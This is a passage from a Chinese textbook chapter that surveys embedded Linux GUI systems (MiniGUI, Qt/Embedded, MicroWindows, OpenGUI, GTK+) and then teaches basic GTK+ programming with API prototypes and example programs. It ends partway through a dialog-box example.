MiniGUI是原清华大学教师魏永明先生所主持开发的一个自由软件项目，它是在Linux控制台上运行的多窗口图形操作系统，可以在以Linux为基础的应用平台上提供一个简单可行的MiniGUI支持系统。MiniGUI于1999年初遵循GPL条款发布了第一个版本，到目前为止，已经非常成熟和稳定。目前在国内已广泛应用于手持信息终端、机顶盒、工业控制系统及工业仪表、便携式多媒体播放机、查询终端等产品和领域，可在Linux/μClinux、Vx-Works、μC/OS-II、pSOS、ThreadX、Nucleus等操作系统以及Win32平台上运行，并能支持Intel x86、ARM（ARM7/ARM9/StrongARM/xScale）、PowerPC、MIPS、M68K（DragonBall/ColdFire）等硬件平台。MiniGUI对中文的支持最好。它支持GB2312与BIG5字元集，其他字元集也可以轻松加入。

MiniGUI开发的主要目标就是为基于Linux的实时嵌入式系统提供一个轻量级的图形用户界面支持系统。MiniGUI为应用程序定义了一组轻量级的窗口和图形设备接口。利用这些接口，每个应用程序可以建立多个主窗口，然后在这些主窗口中创建按钮、编辑框等控件。MiniGUI还为用户提供了丰富的图形功能，帮助用户显示各种格式的位图并在窗口中绘制复杂图形。

MiniGUI分为底层的GAL（图形抽象层）和IAL（输入抽象层），向上为基于标准POSIX接口中pthread库的Mini-Thread架构和基于Server/Client的Mini-Lite架构。其中Mini-Thread受限于Thread模式，对于整个系统的可靠性有影响，该架构应用于系统功能较为单一的场合。Mini-Lite应用于多进程的应用场合，采用多进程运行方式设计的Server/Client架构能够较好地解决各个进程之间的窗口管理、Z序剪切等问题。MiniGUI-Lite上的每个程序是单独的进程，每个进程也可以建立多个窗口。

MiniGUI-Lite适合于具有完整UNIX特性的嵌入式操作系统，如嵌入式Linux。MiniGUI还有一种从Mini-Lite衍生出的Standalone运行模式。与Lite架构不同，Standalone模式一次只能以窗口最大化的方式显示一个窗口。这在显示屏尺寸较小的应用场合具有一定的应用意义。在这种运行模式下，MiniGUI可以以独立进程的方式运行，既不需要多线程也不需要多进程的支持，这种运行模式适合功能单一的应用场合。比如在一些使用μCLinux的嵌入式产品中，因为各种原因而缺少线程支持，这时，就可以使用MiniGUI-Standalone来开发应用软件。

MiniGUI的GAL层技术是基于SVGA Lib、LibGDI库、FrameBuffer的native图形引擎及哑图形引擎等，对于Trolltech公司的QVFB在X Window下也有较好的支持。IAL层则支持Linux标准控制台下的GPM鼠标服务、触摸屏及标准键盘等。

MiniGUI主要有以下特点：

·提供了完备的多窗口机制和消息传递机制。

·提供常用的控件类，包括静态文本框、按钮、单行和多行编辑框、列表框、组合框、进度条、属性页、工具栏、拖动条和树型控件等。

·支持对话框和消息框。

·包含其他GUI辅助元素，如菜单、加速键、插入符及定时器等。

·支持界面皮肤，用户可通过皮肤获得外观华丽的图形界面。

·通过两种不同的内部软件结构支持低端显示设备（比如单色LCD）和高端显示设备（比如彩色显示器），后者在前者的基础上提供了更加强大的图形功能。

·支持Windows兼容的资源文件，如位图、图标、光标等。

·支持各种流行图像文件，包括JPEG、GIF、PNG、TGA、BMP等。

·支持多字符集和多字体，可以支持ISO 8859—1～ISO 8859—15、GB 2312、GBK、GB 18030、BIG5、EUC-JP、Shift-JIS、EUC-KR和UNICODE等字符集，支持等宽点阵字体、变宽点阵字体、Qt/Embedded使用的嵌入式字体QPF、TrueType及Adobe Type1等向量字体。

·支持多种键盘布局。MiniGUI除支持常见的PC键盘布局之外，还支持法语、德语等西欧语种的键盘布局。

·支持汉字（GB 2312）输入法，包括内码、全拼、智能拼音等。用户还可以从飞漫软件获得五笔、自然码等输入法支持。

·还有一些针对嵌入式系统的特殊支持，包括一般性的I/O流操作、字节序相关函数等。

·层的支持，可以使用JoinLayer将一个客户程序加入到某个已由其他客户程序创建好的层中。如果成功，则处于同一个层中的客户能够同时向屏幕上进行图形输出（该功能增加在MiniGUI-Lite版本中）。

·借鉴著名的跨平台游戏和多媒体函数库SDL（Simple DirectMedia Layer）的新GAL接口即NEWGAL。提供了更快、更强的位块操作，视频加速支持及Alpha混合等功能。

·增强的新GDI函数，包括光栅操作、复杂区域处理、椭圆、圆弧、多边形及区域填充等函数。在提供数学库的平台上，还提供有高级二维绘图函数，可设置线宽、线型及填充模式等。

·图形抽象层（GAL）及输入抽象层（IAL）。利用GAL和IAL,MiniGUI可以在许多图形引擎上运行，并且可以非常方便地将MiniGUI移植到其他系统上，而这只需要根据抽象层接口实现新的图形引擎即可。目前，已经编写了基于FrameBuffer、QVFB、eCos LCD的图形引擎，内建有针对Xcopilot仿真器、EP7312开发板、iPAQ系列和S3C2410开发板等硬件的输入引擎。利用QVFB,MiniGUI应用程序可以运行在X Window上，这将大大方便应用程序的调试。


13.2.2　Qt/Embedded

Qt/Embedded是Trolltech公司发布的面向嵌入式系统的Qt版本。与桌面版本Qt/X11不同的是，Qt/Embedded直接取代了X Server及X Library等层次，仅采用FrameBuffer作为底层图形接口，将多种功能整合在一起，从而大大减少了系统开销。因为Qt是KDE等项目使用的GUI支持库，所以有许多基于Qt的X Window程序可以非常方便地移植到Qt/E版本上。Qt/Embedded延续了Qt在X上的强大功能，但（与MiniGUI等相比）消耗系统资源也比较多，多用于手持式高端信息产品。

Qt支持所有的UNIX系统，当然也包括Linux系统，还支持WinNT/Win2k、Windows 95/98系统。基本上，Qt同X Window上的Motif、Openwin、GTK等图形界面库和Windows平台上的MFC、OWL、VCL、ATL是同类型的。不过，Qt还具有下列一些优点。

·优良的跨平台特性。Qt支持下列操作系统：Microsoft Windows 95/98、Microsoft Windows NT、Linux、Solaris、SunOS、HP-UX、Digital UNIX（OSF/1、Tru64）、Irix、FreeBSD、BSD/OS、SCO、AIX、OS390和QNX等。

·面向对象。Qt的良好封装机制使得Qt的模块化程度非常高，可重用性较好，对于用户开发来说是非常方便的。Qt提供了一种称为signal/slot的安全类型来替代callback，这使得各个元件之间的协同工作变得十分简单。

·丰富的API。Qt包括多达250个以上的C++类，还提供基于模板的collections、serializa-tion、file、I/O device、directory management和date/time类。甚至还包括正则表达式的处理功能。

·支持2D/3D图形渲染，支持OpenGL。

·大量的开发文档。

·XML支持。

但是真正使得Qt在自由软件界的众多Widgets（如Lesstif、GTK、EZWGL、Xforms及fltk等）中脱颖而出的还是基于Qt的重量级软件KDE。Qt虽然是商业公司的产品，但是走的却是开源路线，提供免费下载，全部都是开放源代码，非商业用途亦采用GPL的版权宣告，著名的Open Source"KDE"项目便是采用Qt开发的。

Trolltech也针对嵌入式环境推出了Qt/Embedded产品。与桌面版本不同，Qt/Embedded已经直接取代了X Server及X Library等角色，将所有的功能全部整合在一起。

Qt/Embedded同样具有跨平台的特点，节省不少移植软件的时间，这样的特性和Java十分接近。同时它还采用模块化设计，其最大的好处是有弹性，Qt/Embedded号称最小，可以压缩到800KB左右，最多可达3MB（对于Intel x86），这样的弹性也让Qt/Embedded更适合在嵌入式环境下生存。

Qt/Embedded延续了Qt在X上的强大功能，在底层摒弃了X lib，仅采用FrameBuffer作为底层图形接口。同时，将外部输入设备抽象为keyboard和mouse输入事件，底层接口支持键盘、GPM鼠标、触摸屏及用户自定义的设备等。

Qt/Embedded类库完全采用C++封装。丰富的控件资源和较好的可移植性是Qt/Em-bedded最为优秀的一个方面。它的类库接口完全兼容于同版本的Qt-X11，使用X下的开发工具可以直接开发基于Qt/Embedded的应用程序QUI界面。

Qt/Embedded的底层图形引擎只能采用FrameBuffer，这就注定了它是针对高端嵌入式图形领域的应用而设计的。由于该库的代码追求面面俱到，以增加它对多种硬件设备的支持，所以造成它的底层代码比较凌乱、各种补丁较多的问题。Qt/Embedded的结构也过于复杂和臃肿，很难进行底层的扩充、定制和移植，尤其是用来实现signal/slot机制的moc文件。

Qt/Embedded当前已经升级为Qtopia Core，继承了Qt4的新技术，包括高性能渲染引擎、模板容器类及基于行为的主窗口架构，改进的功能特点包括文本渲染与多线程技术。当编译Qtopia Core时，可以去除不用的功能，以最小化软件的占用空间。


13.2.3　MicroWindows

MicroWindows（Nano-X Window）是美国Century Software公司开发的一个开放源码项目，是一个基于典型客户/服务器体系结构的GUI系统，其主要特色在于提供了类似X的客户/服务器体系结构并提供了相对完善的图形功能。MicroWindows能够在没有任何操作系统或其他图形系统的支持下运行，它能对裸显示设备进行直接操作。这样，MicroWindows就显得十分小巧，便于移植到各种硬件和软件系统上。然而MicroWindows项目的进展一直很慢，而且至今为止，国内没有一家专门对MicroWindows提供全面技术支持、服务和担保的公司。在2005年MicroWindows项目被改为Nano-X Window项目，Nano-X Window是一个典型的基于Server/Client体系结构的GUI系统，基本分为3层，如表13-1所示。
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底层是面向图形显示、键盘、鼠标或触摸屏的驱动程序；中间层提供底层硬件的抽象接口，并进行窗口管理；最高层分别提供兼容于X Window和ECMA APIW（Win32子集）的API。其中使用Nano-X接口的API与X接口兼容，但是该接口没有提供窗口管理，如窗口移动和窗口剪切等高级功能。系统需要先启动Nano-X中Server程序的nanox-server和窗口管理程序nanowm。用户程序连接Nano-X的Serv-er获得自身的窗口绘制操作。使用ECMA APIW编写的应用程序无需nanox-server和nanowm，可直接运行。

MicroWindows提供了相对完善的图形功能和一些高级的特性，如Alpha混合、三维支持等。该系统为了提高运行速度，改进基于Socket套接字的X实现模式，采用了基于消息机制的Server/Client传输机制。MicroWindows也有一些通用的窗口控件，但其图形引擎存在一些问题：首先，无任何硬件加速能力；其次，图形引擎中存在一些低效算法。不过MicroW-indows支持中文、日文、韩文等多种语言，而且也支持Truetype字体，目前可知的MicroW-indows版本是0.91。


13.2.4　OpenGUI

OpenGUI在Linux系统上存在已经很长时间了。最初的名字叫FastGL，只支持256色的线性显示模式，但目前也支持其他显示模式，并且支持多种操作系统平台，比如MS-DOS、QNX和Linux等，不过目前只支持x86硬件平台。OpenGUI也分为三层：最低层是由汇编语言编写的快速图形引擎；中间层提供了图形绘制API，包括线条、矩形、圆弧等，并且兼容于Borland的BGI API；第三层用C++编写，提供了完整的GUI对象集。

OpenGUI采用LGPL条款发布。OpenGUI比较适合于基于x86平台的实时系统，可移植性稍差，目前的发展也基本停滞。


13.2.5　GTK+

GTK+即GIMP ToolKit，是一套跨平台的图形工具包，它来源于GIMP（GNU Image Manipulation Program），是使用C语言作为开发语言的，它基于LGPL授权，源代码开放，完全免费。GTK+设计良好、简单易用、执行效率高，Linux的桌面环境GNOME就是建立在GTK+基础上的。由于GTK+使用C语言作为其开发语言，而C语言是跨平台的，因此GTK+几乎可以在任何操作系统上使用。GTK+有两个主要版本分支，GTK+1.2和GTK+2.x，二者区别也非常大，图13-1是GTK+在几种相关的开发库中的位置。

图13-1中，任何上层都可以调用位于它下面的各层提供的函数，各层的具体含义如下所示。
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图　13-1　GTK+在几种相关的开发库中的位置

·C层：有两类C库函数可供调用，一类是标准C的库函数，如printf()；另一类是Linux的系统调用，如open()。

·glib层：glib是GDK、GTK+、GNOME工程的基础底层核心程序库。它包括内存分配、字符串操作、日期和时间、定时器等库函数，也包括许多数据结构，如链表、队列、树、hash表等。

·X层：是控制图形显示的底层函数库，包括所有的窗口显示函数、响应鼠标和键盘操作的函数。

·GDK（GIMP Drawing Kit）层：GDK（GIMP绘图包）是为了简化程序员使用X函数库而开发的。它包括GTK所使用的基本图形操作函数，如基本图元、颜色、事件处理等，X库是它的底层函数库，GDK对其进行了包装，从而使程序员的开发效率大大提高。

·GTK+层：是GIMP工具包，它把GDK提供的函数组织成对象，使用C语言模拟出面向对象的特征，使得开发出的图形界面程序更为简单和高效，GTK+的一个重要组成部分是widget（控件，也称为小部件），按钮、文本编辑框、标签等都是widget。

·GNOME层：GNOME库是对GTK+的扩展，GNOME桌面环境用来控制整个桌面。GNOME使用GNOME对象和函数与桌面小部件交互，基本小部件由GTK+处理。GNOME为了方便程序员还增加了一些专门的小部件。

·Application层：Application即应用程序，它完成窗口的初始化，创建并显示窗口，进入消息循环，等待用户使用鼠标或键盘进行操作。

GTK+与GTK的区别：GTK有时候被用来泛指所有的GTK，与GTK+相比时，一般指老的GTK库，“+”表示与老的GTK相比作了很大的改动。


13.3　基于GTK+的图形界面编程

GTK+库是一个完全的界面开发库，所有功能都是为了开发界面的，使用GTK+进行界面开发使用的是各种控件和处理控件的信号。所有控件都是使用GtkWindow*来定义的。



#include＜gtk/gtk.h＞/*该头文件将gtk所有的其他头文件都包括进去*/

gtk_init(＆argc,＆argv);/*初始化gtk命令行参数*/

gtk_main()/*gtk主循环就相当于window里面的消息循环*/



这几行代码是每个gtk程序都要求有的。

在安装Federo Core或者Red Hat Linux系列操作系统时，如果选择安装应用程序开发包，那么操作系统安装之后，GTK+开发包就已经安装好了，如果没有安装好，可以从网站http://www.gtk.Org免费下载一份GTK源代码并安装到系统上。


 13.3.1　GTK+程序的初始化与退出

1.初始化GTK+

在程序要用到GTK+工具库之前，必须对它进行初始化。写GTK+程序需要调用gtk_init()函数对GTK+库函数进行初始化。

gtk_init()函数原型为：



#include＜gtk/gtk.h＞

void gtk_init(int*argc,char***argv);



gtk_init()函数用于初始化GTK+库。该函数必须在程序调用其他GTK+函数之前使用。参数argc和参数argv为main()函数传递进来的参数，这样GTK+可以根据输入的命令进行指定的初始化动作，如定位和打开图形显示，并对颜色、信号等进行初始化。该函数没有返回值，所以如果在初始化过程中发生错误，程序就会立即退出。

还有一个GTK+库初始化函数gtk_init_check()，它的作用和gtk_init()完全相同。唯一的区别是gtk_init_check()有返回值，可以判断初始化是否成功。

gtk_init_check()函数原型为：



#include＜gtk/gtk.h＞

gboolean gtk_init_check(int*argc,char***argv);



成功，返回TURE；出错，返回FALSE。

2.建立窗口

GTK+的构件是GUI的组成部分。窗口、检查框、按钮和编辑字段都属于构件。通常将构件和窗口定义为指向GtkWidget结构的指针。在GTK+中，GtkWidget是用于所有构件和窗口的通用数据类型。

GTK+库进行初始化后，大多数应用建立一个主窗口中。在GTK+中，主窗口常常被称为顶层窗口。顶层窗口不被包含在任何其他窗口内，所以它没有上层窗口。在GTK+中，构件具有父子关系，其中父构件是容器，而子构件则是包含在容器中的构件。顶层窗口没有父窗口，但可能成为其他构件的容器。

在GTK+中建立构件分两步：第一步，建立构件；第二步，使它可以看得见。gtk_win-dow_new()函数负责建立窗口；gtk_widget_show()函数负责使它可见。

gtk_window_new()函数原型为：



#include＜gtk/gtk.h＞

GtkWidget*gtk_window_new(GtkWindowType type);



gtk_window_new()函数将根据给出的窗口类型创建窗口。大多数情况下，type的参数为GTK_WINDOW_TOPLEVEL，表示使用“窗口管理器”来设置窗口的状态和位置。默认情况下，窗口为200×200像素大小。当type参数为GTK_WINDOW_POPUP时，将创建一个弹出窗口，该窗口不是对话框。在GTK+中，GTK_WINDOW_POPUP表示弹出菜单或弹出tips提示。

gtk_widget_show()函数的原型为：



#include＜gtk/gtk.h＞

void gtk_widget_show(GtkWidget*widget);



3.GTK+的事件循环

对GTK+进行初始化并将窗口和构件置于屏幕上以后，程序就调用gtk_main()函数等待某种事件的执行。

gtk_main()函数原型为：



#include＜gtk/gtk.h＞

void gtk_main(void);



该函数的功能是等待事件的发生，没有返回值。

【例13-1】窗口的创建和显示

调用gtk_init()函数、gtk_window_new()函数和gtk_widget_show()函数来创建和显示一个窗口。

[1]在Vi中创建一个新工程文件，命名为"example13_1.c"。

[2]在"example13_1.c"中创建如下代码。



#include＜gtk/gtk.h＞

int main(int argc,char*argv[])

{

GtkWidget*window;

gtk_init(＆argc,＆argv);

window=gtk_window_new(GTK_WINDOW_TOPLEVEL);

gtk_widget_show(window);

gtk_main();

return FALSE;

}



[3]编译并运行该程序，结果如图13-2所示。



[root@localhost～]#gcc example13_1.c-o example13_1 'pkg-config--cflags--libs gtk+-2.0'

[root@localhost～]#./example13_1



程序开始定义了一个窗体，然后用函数gtk_init()初始化GTK+库。用函数gtk_window_new()创建一个窗体，用get_widget_show()显示该窗体。程序最后调用gtk_main()进入主循环，等待各种事件的发生。
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图　13-2　窗口的创建和显示

注意，该程序不能正常退出，原因是程序没有回调函数。关于回调函数将会在下面介绍。

4.结束应用程序

gtk_main_quit()函数可以结束程序，它通常在回调函数中被调用。该函数原型为：



#include＜gtk/gtk.h＞

void gtk_main_quit(void);



该函数没有返回值。


13.3.2　GTK+预定义的函数和数据类型

GTK+预定义的函数和数据类型如表13-2和表13-3所示。
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13.3.3　回调函数

图形用户界面的程序是事件驱动的程序。程序进入gtk_main()函数后，等待事件的发生，一旦发生某个事件，相应的信号将产生。比如按下鼠标按键，被点击的widget就会发出对应的信号。如果程序中定义了相应的消息处理函数，系统会自动进行调用。消息处理函数（或称回调函数）的原型是：



void callback_func(GtkWidget*widget,gpointer func_data);



参数widget指向要接收消息的控件，参数func_data指向消息产生时传递给该函数的数据。

函数g_signal_connect()在控件和消息处理函数间建立关联，该函数的原型是：



gulong g_signal_connect(GtkObject*object,gchar*name

Gcallback callback_func,gpointer func_data);



各参数说明如下：

·object：指向产生消息的控件。

·name：消息或事件的名称。

·callback_func：事件发生后要执行的回调函数。

·func_data：传递给回调函数的数据，与callback_func()的第二个参数相同。

该函数的返回值用于区分一个控件的一个事件对应的多个处理函数。一个控件上可以发生多个事件，比如单击一个按钮，双击一个按钮。对应一个控件上的每个事件可以有0个、1个或多个处理函数。该事件发生时，将按声明的顺序逐个调用这些函数。对应于某个事件，如果控件没有定义处理函数，那么事件发生时将没有响应，系统忽略此事件。

还有一个与g_signal_connect()类似的函数，g_signal_connect_swapped()函数，该函数的原型为：



gint g_signal_connect_swapped(GtkObject*object,gchar*name

GCallback callback_func,GtkObject*slot_object);



它的第四个参数指向一个GTK+控件的指针。它与g_signal_connect()的区别在于相应的回调函数只有一个参数：



void callback_func(GtkObject*object);



通常object指向一个控件。

如果要删除控件与消息处理函数的关联，可以调用g_signal_disconnect()，该函数的原型是：



void g_signal_handler_disconnect(GtkObject*object,gulong id);



参数说明如下：

·object：要删除消息处理函数的控件。

·id：g_signal_connect()或g_signal_connect_swapped()函数的返回值。


13.3.4　GTK+的事件处理

GTK同许多其他的图形编程库相似，都采用事件驱动方式来工作。回调函数可以与这些事件连接。这些事件举例如下：

·button_press_event　按钮按下

·button_release_event　按钮释放

·delete_event　删除

·destroy_event　破坏

·key_press_event按键按下

·key_release_event按键释放

·map_event　映射

·property_notify_event　属性改变

·selection_clear_event　选择清除

·selection_request_event　选择请求

·selection_notify_event　选择通知

·proximity_in_event　接近

·proximity_out_event　离开

·window_state_event　窗口事件

用函数g_signal_connect()连接这些事件与回调函数，像前面一样，用事件名作为name的参数。



gint callback_func(GtkWidget*widget,GdkEvent*event,gpointer callback_data);



GdkEvent是一个C联合结构，它的类型依赖于上述事件中的发生事件。为了得知发生了哪个事件，可以用一个类型成员来反映发生了这个事件。事件结构的其他部分将依赖于这个事件的类型。类型的可能的值有GDK_NOTHING、GDK_DELETE、GDK_DESTROY、GDK_EXPOSE、GDK_MOTION_NOTIFY等。

所以，连接事件与一个回调函数，可以这样用：



g_signal_connect(G_OBJECT(button),"button_press_event",

G_CALLBACK(button_press_callback),NULL);



这里假定button是一个按钮构件。现在，当鼠标放在按钮上并单击鼠标时，函数button_press_callback()会被调用。这个函数应该声明为：



static gint button_press_callback(GtkWidget*widget,GdkEventButton*event,gpointer data);



这个函数的返回值指示这个事件是否应该由GTK事件处理机制做进一步的传播。返回TRUE指示这个事件已经处理了，且不应该做进一步传播。返回FALSE继续正常的事件处理。


13.3.5　使用GTK+实现"Hello World"程序

【例13-2】创建图形用户界面

用GTK+编写一个简单的图形用户界面程序，创建一个窗口，里边有一个按钮。

[1]在Vi中创建一个新工程文件，命名为"example13_2.c"。

[2]在"example13_2.c"中创建如下代码。



#include＜gtk/gtk.h＞

#include＜libintl.h＞

#define_(x)gettext(x)

#define N_(x)(x)

#define GETTEXT_PACKAGE"gtk-hello"

#define LOCALEDIR"mo"

static char*greetings[]={"Hello World"};

static char*choose_greeting()

{

return greetings[g_random_int_range(0,G_N_ELEMENTS(greetings))];

}

static void cb_button_click(GtkButton*button,gpointer data)

{

GtkWidget*label=GTK_WIDGET(data);

g_assert(label!=NULL);

gtk_label_set_text(GTK_LABEL(label),choose_greeting());

}

static gboolean cb_delete(GtkWidget*window,gpointer data)

{

gtk_main_quit();

return FALSE;

}

/*初始化GTK+*/

int main(int argc,char*argv[])

{

GtkWidget*window，*button，*label，*vbox;

bindtextdomain(GETTEXT_PACKAGE,LOCALEDIR);

bind_textdomain_codeset(GETTEXT_PACKAGE,"UTF-8");

textdomain(GETTEXT_PACKAGE);

gtk_init(＆argc,＆argv);

window=gtk_window_new(GTK_WINDOW_TOPLEVEL);

button=gtk_button_new_with_label(_("Hello World"));

label=gtk_label_new(choose_greeting());

vbox=gtk_vbox_new(FALSE,0);

gtk_container_add(GTK_CONTAINER(window),vbox);

gtk_container_add(GTK_CONTAINER(vbox),label);

gtk_container_add(GTK_CONTAINER(vbox),button);

g_signal_connect(G_OBJECT(window),"delete-event",

G_CALLBACK(cb_delete),NULL);

g_signal_connect(G_OBJECT(button),"clicked",

G_CALLBACK(cb_button_click),label);

gtk_widget_show_all(window);

gtk_main();

return 0;

}



[3]使用GCC编译并运行程序，结果如图13-3所示。



[root@localhost～]#gcc example13_2.c-o example13_2'pkg-config--cflags--libs gtk+-2.0'

[root@localhost～]#./example13_2
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图　13-3　用GTK+创建图形用户界面


13.3.6　编译GTK+程序

由于在使用GTK+编程的过程中使用了GTK+库，因此，在使用GCC编译这类程序时需要加上相应的GTK+库的配置命令。如程序名为"example.c"，要编译成名为"example"的目标文件，应输入的命令为：



gcc example.c-o example'gtk-config-cflags''gtk-config-libs'



注意，程序中一定是反引号（在键盘上位于字符1的左边）。"'gtk-config'"实际运行了gtk-config程序，其作用是警告系统中库的信息，包括各种库的版本、编译和链接需要的参数等；参数-cflags输出编译标志，并将它们插入命令行，表示库的编译环境是C语言；参数-libs输出连接标志并插入命令行。在Gtk+1.2以上版本中都包含gtk-config程序。


13.3.7　在GTK+中排列控件

如果要在窗口中放置多个控件，就要考虑如何编排控件的位置。GTK+提供了两种排列控件的方法：一是使用box（盒子），二是使用table（表格）。

1.使用box排列控件

（1）创建和使用box容器

box是一种不可见的widget容器，它有水平排列和垂直排列两种。水平排列是控件按放入窗口的顺序水平排列，垂直排列是按控件放入窗口的顺序垂直排列。水平排列box容器使用函数gtk_hbox_new()生成，而垂直排列box容器使用函数gtk_vbox_new()生成。box容器生成后，使用函数gtk_box_pack_start()或gtk_box_pack_end()将控件放入容器中。前者由左向右、从上到下将控件放入box容器，而后者相反，由右至左、从下到上将控件放入box容器中。下面是具体的函数定义：

水平排列box容器的函数gtk_hbox_new()：



Widget* gtk_hbox_new(gint homogeneous,gint spacing);



参数的含义如下。

·homogeneous：控制每个放入box的控件是否有同样的高或宽。

·spacing：是否在控件之间填充空白。

控件放入容器的函数gtk_box_pack_start()：



void gtk_box_pack_start(GtkBox*box,GtkWidget*child,gint expand,gint fill,gint padding);



部分参数的含义如下。

·box：要放入控件的box容器。

·child：要放入box容器的控件。

·expand：是否填满box所有额外控件，TRUE表示是，如果为FALSE则该box按控件原始大小显示。gtk_hbox_new函数的参数homogeneous的值为TRUE时，该参数才有效。

·fill：该值如果为TRUE，控件自行产生额外控件；如果为FALSE,box在控件周围产生反白区域。只有expand为TRUE，该参数才有效。

（2）check按钮和radio按钮

生成一般的按钮有两个函数：gtk_button_new()和gtk_button_new_with_label()。前者生成一个无标签按钮，后者生成一个有文本标签的按钮。

在开发中，也常常使用check按钮和radio按钮。它们都有两种状态，一个是选中，另一个是未选中。所不同的是，在一组按钮中，radio按钮只能有一个被选中，其他都处于未选中状态，而check按钮没有这个限制。它们都是以双态按钮为基础的。可以使用以下函数生成一个双态按钮，第一个生成无标签按钮，第二个生成有文本标签的按钮。



GtkWidget*gtk_toggle_button_new(void);

GtkWidget*gtk_toggle_button_new_with_label(gchar*label);



对于双态按钮，经常需要在回调函数中判断按钮的状态是否被选中。方法如下：



void toggle_button_callback(GtkWidget*widget,gpointer data)

{

if(GTK_TOGGLE_BUTTON(widget)-＞active)

{

/*按钮被选择时的处理代码*/

}

}



可以使用下面这个函数设置按钮的状态：



void gtk_toggle_button_set_state(GtkToggleButton*toggle,gint state);



参数的含义如下。

·toggle：要设置状态的按钮。

·state：要设置的状态，值为TRUE把按钮设置为选中状态，FLASE把按钮设置为未选中状态。

生成check按钮的函数为：



GtkWidget*gtk_check_button_new(void);

GtkWidget*gtk_check_button_new_with_label(gchar*label);



生成radio按钮的函数为：



GtkWidget*gtk_radio_button_new(GSList*group);

GtkWidget*gtk_radio_button_new_with_label(GSList*group,gchar*label);



radio按钮是成组出现的，因此需要一个参数group。

2.使用table排列控件

排列窗口中的控件的另一种方法是使用table（表格），可以把控件放到表格中指定的行和列中。表格的行、列编号方法如图13-4所示。
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图　13-4　表格的行列编号方法

创建table容器的函数为：



GtkWidget*gtk_table_new(gint rows,gint columns,gint homogeneous);



参数的含义如下。

·rows：表格所占的行数。

·columns：表格所占的列数。

·homogeneous：如果其值为TRUE，表格中每个格子的大小被定义为其中最大控件的大小；如果为FALSE，则格子的宽度与最宽控件的宽度相同，高度与放入表格的最高控件相同。

将控件放入表格中，可以使用函数：



voidgtk_table_attach(GtkTable*table,GtkWidget*child,gint left_attach,gint right_attach,gint top_attach,gint buttom_attach,gint xoptions,gint yoptions,gint xpadding,gint ypadding);



参数的含义如下。

·table：要放入控件的表格。

·child：要放入表格的控件。

·left_attach、right_attach、top_attach、buttom_attach：控件在表格中的坐标。

·xoptions、yoptions：指定了选项，可以是以下值或其组合：GTK_FILL，如果控件小于它所占用的格子，控件自动扩大到它所占格子的大小；GTK_SHRINK，如果控件大于它所占用的格子，控件自动缩小到它所占格子的大小；GTK_EXPAND，表格扩展，并利用窗口中所有可用的控件。

·xpadding：指示控件与它所占格子左、右留出的空白大小，以像素表示。

·ypadding：指示控件与它所占格子上、下留出的空白大小，以像素表示。

另一个将控件放入表格的函数是：



void gtk_table_attach_defaults(GtkTable*table,GtkWidget*child,gint left_attach,gint right_attach,gint top_at-tach,gint buttom_attach);



此函数参数的含义与gtk_table_attach()的相同。


13.3.8　常用控件

1.进度条控件

创建进度条要使用GtkAdjustment控件。GtkAdjustment用来存储上边界、下边界、步进值等信息。

（1）创建GtkAdjustment



GtkObject*gtk_adjustment_new(gfloat value,gfloat lower,gfloat upper,gfloat step_increment,gfloat page_increment,gloat page_size);



（2）创建进度条



GtkWidget*gtk_progress_bar_new(void);

GtkWidget*gtk_progress_bar_new_with_adjustment(GtkAdjustment*adjustment);



（3）设置进度条的样式



void gtk_progress_bar_set_bar_style(GtkProgressBar*pbar,GtkProgressBarStyle style);



其中，style取值如下。

·GTK_PROGRESS_CONTINUOUS：连续进度条。

·GTK_PROGRESS_DISCRETE：条块进度条。

（4）设置进度条方向



void gtk_progress_bar_set_orientation(GtkProgressBar*pbar,GtkProgressBarOrientation orientation);



其中，orientation取值如下。

·GTK_PROGRESS_LEFT_TO_RIGHT：从左往右显示进度。

·GTK_PROGRESS_RIGHT_TO_LEFT：从右往左显示进度。

·GTK_PROGRESS_BOTTOM_TO_TOP：从下往上显示进度。

·GTK_PROGRESS_TOP_TO_BOTTOM：从上往下显示进度。

（5）更新进度



void gtk_progress_bar_update(GtkProgressBar*pbar,gfloat percentage);



2.微调按钮

创建微调按钮也要使用GtkAdjustment控件。

（1）创建GtkSpinButton



GtkWidget*gtk_spin_button_new(GtkAdjustment*adjustment,gfloat climb_rate,gfloat digits);



参数的含义如下。

·climb_rate：每步的增加值。

·digits：包含的小数位数。

（2）获取和设置微调按钮的值



gfloat gtk_spin_button_get_value_as_float(GtkSpinButton*spin_button);

void gtk_spin_button_set_value(GtkSpinButton*spin_button,gfloat value);



（3）获取和设置GtkAdjustment



GtkAdjustment*gtk_spin_button_get_adjustment(GtkSpinButton*spin_button);

voidgtk_spin_button_set_adjustment(GtkSpinButton*spin_button,GtkAdjustment*adjustment);



3.组合框

组合框是编辑框和列表框的组合。创建组合框要使用GList，用于保存显示的字符串。向GList中添加字符串的函数是：



void g_list_append(GList*list,char*string);



（1）创建组合框



GtkWidget*gtk_combo_new(void);



（2）设置组合框中显示的字符串



void gtk_combo_set_popdown_strings(GtkCombo*combo,GList*strings);



4.表格控件

（1）创建表格控件



GtkWidget*gtk_clist_new(gint columns);

GtkWidget*gtk_clist_new_with_titles(gint columns,gchar*titles[]);



参数的含义如下。

·columns：表格的列数。

·titles：各列的列名。

（2）设置每列的长度



void gtk_clist_set_column_width(GtkCList*clist,gint column,gint width);



参数的含义如下。

·column：要设置宽度的列编号，从0开始。

·width：宽度。

（3）向表格中加入一行数据



gint gtk_clist_append(GtkCList*clist,gchar*text[]);



（4）获取和设置表格中某个格子的值



gint gtk_clist_get_text(GtkCList*clist,gint row,gint column,gchar**text);

void gtk_clist_set_text(GtkCList*clist,gint row,gint column,gchar**text);



（5）清除表格中的所有数据



void gtk_clist_clear(GtkCList*clist);



（6）对表格中的数据进行排序



void gtk_clist_sort_column(GtkCList*clist,gint column);

void gtk_clist_sort(GtkCList*clist);



（7）获取和设置一行数据



gpointer gtk_clist_get_row_data(GtkCList*clist,gint row);

void gtk_clist_set_row_data(GtkCList*clist,gint row,gpointer data);



（8）获取和更改列名



gchar*gtk_clist_get_column_title(GtkCList*clist,gint column);

void gtk_clist_set_column_title(GtkCList*clist,gint column,gchar*title);



（9）插入和删除一行数据



gint gtk_clist_insert(GtkCList*clist,gint row,gchar*text[]);

void gtk_clist_remove(GtkCList*clist,gint row);



5.对话框

GtkDialog是GtkWindow的子类，它可以使用所有GtkWindow的函数。创建对话框的函数是：



GtkWidget*gtk_dialog_new(void);



【例13-3】创建对话框

用GTK+编写程序来创建一个对话框。

[1]在Vi中创建一个新工程文件，命名为"example13_3.c"。

[2]在"example13_3.c"中创建如下代码。



example13_3.c

#include＜gtk/gtk.h＞

void button_event(GtkWidget*widget,gpointer*data);

